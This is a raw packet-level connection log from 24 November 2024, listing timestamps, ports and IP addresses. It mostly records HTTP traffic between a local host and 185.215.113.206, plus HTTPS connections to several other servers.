Nov 24, 2024 23:24:41.311652899 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:41.311696053 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:41.312397957 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:41.312453985 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:41.312462091 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:41.312494993 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:41.313221931 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:41.313286066 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:41.313348055 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:41.313397884 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:41.314007044 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:41.314059019 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:41.314122915 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:41.314171076 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:41.314815998 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:41.314870119 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:41.314878941 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:41.314915895 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:41.315653086 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:41.315706015 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:41.315757036 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:41.316544056 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:41.316601038 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:41.316608906 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:41.316641092 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:41.317341089 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:41.317394972 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:41.317451000 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:41.318023920 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:41.318078041 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:41.377554893 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:41.377616882 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:41.377671003 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:41.377727032 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:41.378031015 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:41.378084898 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:41.378093958 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:41.378145933 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:41.378756046 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:41.378813982 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:41.378892899 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:41.378999949 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:41.379559994 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:41.379620075 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:41.379678965 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:41.379725933 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:41.380376101 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:41.380434036 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:41.380511045 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:41.380573988 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:41.381283998 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:41.381320000 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:41.381369114 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:41.381985903 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:41.382064104 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:41.382097960 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:41.382147074 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:41.382807016 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:41.382867098 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:41.382910967 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:41.382955074 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:41.383608103 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:41.383657932 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:41.383660078 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:41.383707047 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:41.384409904 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:41.384463072 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:41.384526968 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:41.384637117 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:41.385215998 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:41.385273933 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:41.385343075 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:41.385389090 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:41.386029005 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:41.386085987 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:41.386149883 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:41.386195898 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:41.386821985 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:41.386888981 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:41.386888981 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:41.387001038 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:41.425343990 CET	443	49850	13.107.246.40	192.168.2.5
Nov 24, 2024 23:24:41.425544024 CET	443	49850	13.107.246.40	192.168.2.5
Nov 24, 2024 23:24:41.425601959 CET	49850	443	192.168.2.5	13.107.246.40
Nov 24, 2024 23:24:41.426902056 CET	49850	443	192.168.2.5	13.107.246.40
Nov 24, 2024 23:24:41.426914930 CET	443	49850	13.107.246.40	192.168.2.5
Nov 24, 2024 23:24:41.432459116 CET	443	49851	13.107.246.40	192.168.2.5
Nov 24, 2024 23:24:41.432482958 CET	443	49851	13.107.246.40	192.168.2.5
Nov 24, 2024 23:24:41.432538986 CET	49851	443	192.168.2.5	13.107.246.40
Nov 24, 2024 23:24:41.432559013 CET	443	49851	13.107.246.40	192.168.2.5
Nov 24, 2024 23:24:41.435770988 CET	443	49851	13.107.246.40	192.168.2.5
Nov 24, 2024 23:24:41.435861111 CET	49851	443	192.168.2.5	13.107.246.40
Nov 24, 2024 23:24:41.444101095 CET	49851	443	192.168.2.5	13.107.246.40
Nov 24, 2024 23:24:41.444130898 CET	443	49851	13.107.246.40	192.168.2.5
Nov 24, 2024 23:24:41.483012915 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:41.544049978 CET	443	49853	20.110.205.119	192.168.2.5
Nov 24, 2024 23:24:41.544126987 CET	443	49853	20.110.205.119	192.168.2.5
Nov 24, 2024 23:24:41.544287920 CET	49853	443	192.168.2.5	20.110.205.119
Nov 24, 2024 23:24:41.547560930 CET	49853	443	192.168.2.5	20.110.205.119
Nov 24, 2024 23:24:41.547576904 CET	443	49853	20.110.205.119	192.168.2.5
Nov 24, 2024 23:24:41.602498055 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:41.611577988 CET	443	49857	23.57.90.145	192.168.2.5
Nov 24, 2024 23:24:41.611860991 CET	49857	443	192.168.2.5	23.57.90.145
Nov 24, 2024 23:24:41.611876011 CET	443	49857	23.57.90.145	192.168.2.5
Nov 24, 2024 23:24:41.612915039 CET	443	49857	23.57.90.145	192.168.2.5
Nov 24, 2024 23:24:41.612982035 CET	49857	443	192.168.2.5	23.57.90.145
Nov 24, 2024 23:24:41.614343882 CET	49857	443	192.168.2.5	23.57.90.145
Nov 24, 2024 23:24:41.614408970 CET	443	49857	23.57.90.145	192.168.2.5
Nov 24, 2024 23:24:41.642349005 CET	443	49852	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:41.642420053 CET	443	49852	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:41.642545938 CET	49852	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:41.642810106 CET	49852	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:41.642827988 CET	443	49852	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:41.652333021 CET	49864	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:41.652350903 CET	443	49864	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:41.652429104 CET	49864	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:41.652616978 CET	49864	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:41.652631044 CET	443	49864	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:41.668333054 CET	49857	443	192.168.2.5	23.57.90.145
Nov 24, 2024 23:24:41.668340921 CET	443	49857	23.57.90.145	192.168.2.5
Nov 24, 2024 23:24:41.694968939 CET	443	49856	23.57.90.145	192.168.2.5
Nov 24, 2024 23:24:41.695252895 CET	49856	443	192.168.2.5	23.57.90.145
Nov 24, 2024 23:24:41.695267916 CET	443	49856	23.57.90.145	192.168.2.5
Nov 24, 2024 23:24:41.696320057 CET	443	49856	23.57.90.145	192.168.2.5
Nov 24, 2024 23:24:41.696386099 CET	49856	443	192.168.2.5	23.57.90.145
Nov 24, 2024 23:24:41.696716070 CET	49856	443	192.168.2.5	23.57.90.145
Nov 24, 2024 23:24:41.696778059 CET	443	49856	23.57.90.145	192.168.2.5
Nov 24, 2024 23:24:41.732516050 CET	49857	443	192.168.2.5	23.57.90.145
Nov 24, 2024 23:24:41.748116016 CET	49856	443	192.168.2.5	23.57.90.145
Nov 24, 2024 23:24:41.748126984 CET	443	49856	23.57.90.145	192.168.2.5
Nov 24, 2024 23:24:41.794110060 CET	49856	443	192.168.2.5	23.57.90.145
Nov 24, 2024 23:24:41.937269926 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:41.937382936 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:41.937407970 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:41.937433004 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:41.937613964 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:41.937733889 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:41.937767982 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:41.937776089 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:41.937808990 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:41.938556910 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:41.938608885 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:41.938662052 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:41.939384937 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:41.939438105 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:41.939532042 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:41.939584017 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:41.940256119 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:41.940295935 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:41.940335989 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:41.940988064 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:41.941044092 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:41.941087961 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:41.941257954 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:41.941495895 CET	443	49858	204.79.197.219	192.168.2.5
Nov 24, 2024 23:24:41.941808939 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:41.941821098 CET	443	49854	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:41.941946983 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:41.941967964 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:41.941986084 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:41.942045927 CET	49858	443	192.168.2.5	204.79.197.219
Nov 24, 2024 23:24:41.942059040 CET	443	49858	204.79.197.219	192.168.2.5
Nov 24, 2024 23:24:41.942603111 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:41.942656040 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:41.942708969 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:41.942745924 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:41.943425894 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:41.943428993 CET	443	49858	204.79.197.219	192.168.2.5
Nov 24, 2024 23:24:41.943521976 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:41.943535089 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:41.943537951 CET	49858	443	192.168.2.5	204.79.197.219
Nov 24, 2024 23:24:41.943557978 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:41.944216967 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:41.944314003 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:41.944437981 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:41.944793940 CET	49858	443	192.168.2.5	204.79.197.219
Nov 24, 2024 23:24:41.944863081 CET	443	49858	204.79.197.219	192.168.2.5
Nov 24, 2024 23:24:41.945010900 CET	49854	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:41.945036888 CET	443	49854	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:41.945070982 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:41.945113897 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:41.945159912 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:41.945205927 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:41.945511103 CET	49854	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:41.945517063 CET	443	49854	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:41.945858955 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:41.945960999 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:41.946003914 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:41.946084023 CET	443	49859	204.79.197.219	192.168.2.5
Nov 24, 2024 23:24:41.946585894 CET	49859	443	192.168.2.5	204.79.197.219
Nov 24, 2024 23:24:41.946603060 CET	443	49859	204.79.197.219	192.168.2.5
Nov 24, 2024 23:24:41.946650982 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:41.946795940 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:41.946842909 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:41.947506905 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:41.947561979 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:41.947563887 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:41.947624922 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:41.948122978 CET	443	49859	204.79.197.219	192.168.2.5
Nov 24, 2024 23:24:41.948185921 CET	49859	443	192.168.2.5	204.79.197.219
Nov 24, 2024 23:24:41.948295116 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:41.948472023 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:41.948529005 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:41.949095964 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:41.949101925 CET	49859	443	192.168.2.5	204.79.197.219
Nov 24, 2024 23:24:41.949193001 CET	443	49859	204.79.197.219	192.168.2.5
Nov 24, 2024 23:24:41.949219942 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:41.949250937 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:41.949270010 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:41.949908972 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:41.950027943 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:41.950083017 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:41.950733900 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:41.950795889 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:41.950866938 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:41.950908899 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:41.951554060 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:41.951605082 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:41.951616049 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:41.951642990 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:41.952330112 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:41.952405930 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:41.952419043 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:41.952518940 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:41.953182936 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:41.953697920 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:41.953747034 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:41.953835011 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:41.954041004 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:41.954056978 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:41.954096079 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:41.954773903 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:41.954835892 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:41.954873085 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:41.955091953 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:41.955562115 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:41.955631971 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:41.955661058 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:41.955730915 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:41.956373930 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:41.956439018 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:41.956499100 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:41.956537008 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:41.957194090 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:41.957250118 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:41.957302094 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:41.957343102 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:41.957990885 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:41.958049059 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:41.958110094 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:41.958240032 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:41.958851099 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:41.958909988 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:41.958946943 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:41.958992958 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:41.959619045 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:41.959685087 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:41.959726095 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:41.959774971 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:41.960431099 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:41.960483074 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:41.960536957 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:41.960585117 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:41.961253881 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:41.961304903 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:41.961384058 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:41.961544037 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:41.962054968 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:41.962117910 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:41.962155104 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:41.962240934 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:41.962848902 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:41.962904930 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:41.962922096 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:41.962980032 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:41.992132902 CET	49859	443	192.168.2.5	204.79.197.219
Nov 24, 2024 23:24:41.992146015 CET	443	49859	204.79.197.219	192.168.2.5
Nov 24, 2024 23:24:41.992199898 CET	49858	443	192.168.2.5	204.79.197.219
Nov 24, 2024 23:24:41.992208004 CET	443	49858	204.79.197.219	192.168.2.5
Nov 24, 2024 23:24:42.002197027 CET	443	49855	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:42.015672922 CET	49855	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:42.015693903 CET	443	49855	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:42.016391993 CET	49855	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:42.016400099 CET	443	49855	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:42.046433926 CET	49858	443	192.168.2.5	204.79.197.219
Nov 24, 2024 23:24:42.046447039 CET	49859	443	192.168.2.5	204.79.197.219
Nov 24, 2024 23:24:42.109808922 CET	443	49861	20.75.60.91	192.168.2.5
Nov 24, 2024 23:24:42.113487005 CET	49861	443	192.168.2.5	20.75.60.91
Nov 24, 2024 23:24:42.113504887 CET	443	49861	20.75.60.91	192.168.2.5
Nov 24, 2024 23:24:42.113898039 CET	443	49861	20.75.60.91	192.168.2.5
Nov 24, 2024 23:24:42.154633045 CET	49861	443	192.168.2.5	20.75.60.91
Nov 24, 2024 23:24:42.175645113 CET	49861	443	192.168.2.5	20.75.60.91
Nov 24, 2024 23:24:42.175776005 CET	443	49861	20.75.60.91	192.168.2.5
Nov 24, 2024 23:24:42.186218977 CET	49861	443	192.168.2.5	20.75.60.91
Nov 24, 2024 23:24:42.231347084 CET	443	49861	20.75.60.91	192.168.2.5
Nov 24, 2024 23:24:42.386821032 CET	443	49854	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:42.386904001 CET	443	49854	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:42.387456894 CET	49854	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:42.398073912 CET	49865	443	192.168.2.5	104.117.182.56
Nov 24, 2024 23:24:42.398097992 CET	443	49865	104.117.182.56	192.168.2.5
Nov 24, 2024 23:24:42.399965048 CET	49865	443	192.168.2.5	104.117.182.56
Nov 24, 2024 23:24:42.447400093 CET	443	49860	40.126.53.11	192.168.2.5
Nov 24, 2024 23:24:42.457492113 CET	443	49855	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:42.457565069 CET	443	49855	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:42.460697889 CET	49855	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:42.488123894 CET	49860	443	192.168.2.5	40.126.53.11
Nov 24, 2024 23:24:42.563853025 CET	443	49862	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:42.592645884 CET	49865	443	192.168.2.5	104.117.182.56
Nov 24, 2024 23:24:42.592662096 CET	443	49865	104.117.182.56	192.168.2.5
Nov 24, 2024 23:24:42.612257004 CET	49862	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:42.613954067 CET	49866	443	192.168.2.5	104.117.182.56
Nov 24, 2024 23:24:42.613991976 CET	443	49866	104.117.182.56	192.168.2.5
Nov 24, 2024 23:24:42.614183903 CET	49866	443	192.168.2.5	104.117.182.56
Nov 24, 2024 23:24:42.614712954 CET	49866	443	192.168.2.5	104.117.182.56
Nov 24, 2024 23:24:42.614723921 CET	443	49866	104.117.182.56	192.168.2.5
Nov 24, 2024 23:24:42.648920059 CET	49854	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:42.648940086 CET	443	49854	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:42.663471937 CET	443	49861	20.75.60.91	192.168.2.5
Nov 24, 2024 23:24:42.663494110 CET	443	49861	20.75.60.91	192.168.2.5
Nov 24, 2024 23:24:42.663561106 CET	49861	443	192.168.2.5	20.75.60.91
Nov 24, 2024 23:24:42.663575888 CET	443	49861	20.75.60.91	192.168.2.5
Nov 24, 2024 23:24:42.663587093 CET	443	49861	20.75.60.91	192.168.2.5
Nov 24, 2024 23:24:42.663661003 CET	49861	443	192.168.2.5	20.75.60.91
Nov 24, 2024 23:24:42.670938969 CET	49861	443	192.168.2.5	20.75.60.91
Nov 24, 2024 23:24:42.670964003 CET	443	49861	20.75.60.91	192.168.2.5
Nov 24, 2024 23:24:42.703737020 CET	49860	443	192.168.2.5	40.126.53.11
Nov 24, 2024 23:24:42.703754902 CET	443	49860	40.126.53.11	192.168.2.5
Nov 24, 2024 23:24:42.704725027 CET	49860	443	192.168.2.5	40.126.53.11
Nov 24, 2024 23:24:42.704729080 CET	443	49860	40.126.53.11	192.168.2.5
Nov 24, 2024 23:24:42.704972029 CET	49860	443	192.168.2.5	40.126.53.11
Nov 24, 2024 23:24:42.704978943 CET	443	49860	40.126.53.11	192.168.2.5
Nov 24, 2024 23:24:42.706042051 CET	49855	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:42.706042051 CET	49855	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:42.706060886 CET	443	49855	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:42.706073999 CET	443	49855	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:42.716730118 CET	49862	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:42.716746092 CET	443	49862	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:42.717266083 CET	49862	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:42.717272997 CET	443	49862	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:42.718188047 CET	49867	443	192.168.2.5	104.117.182.56
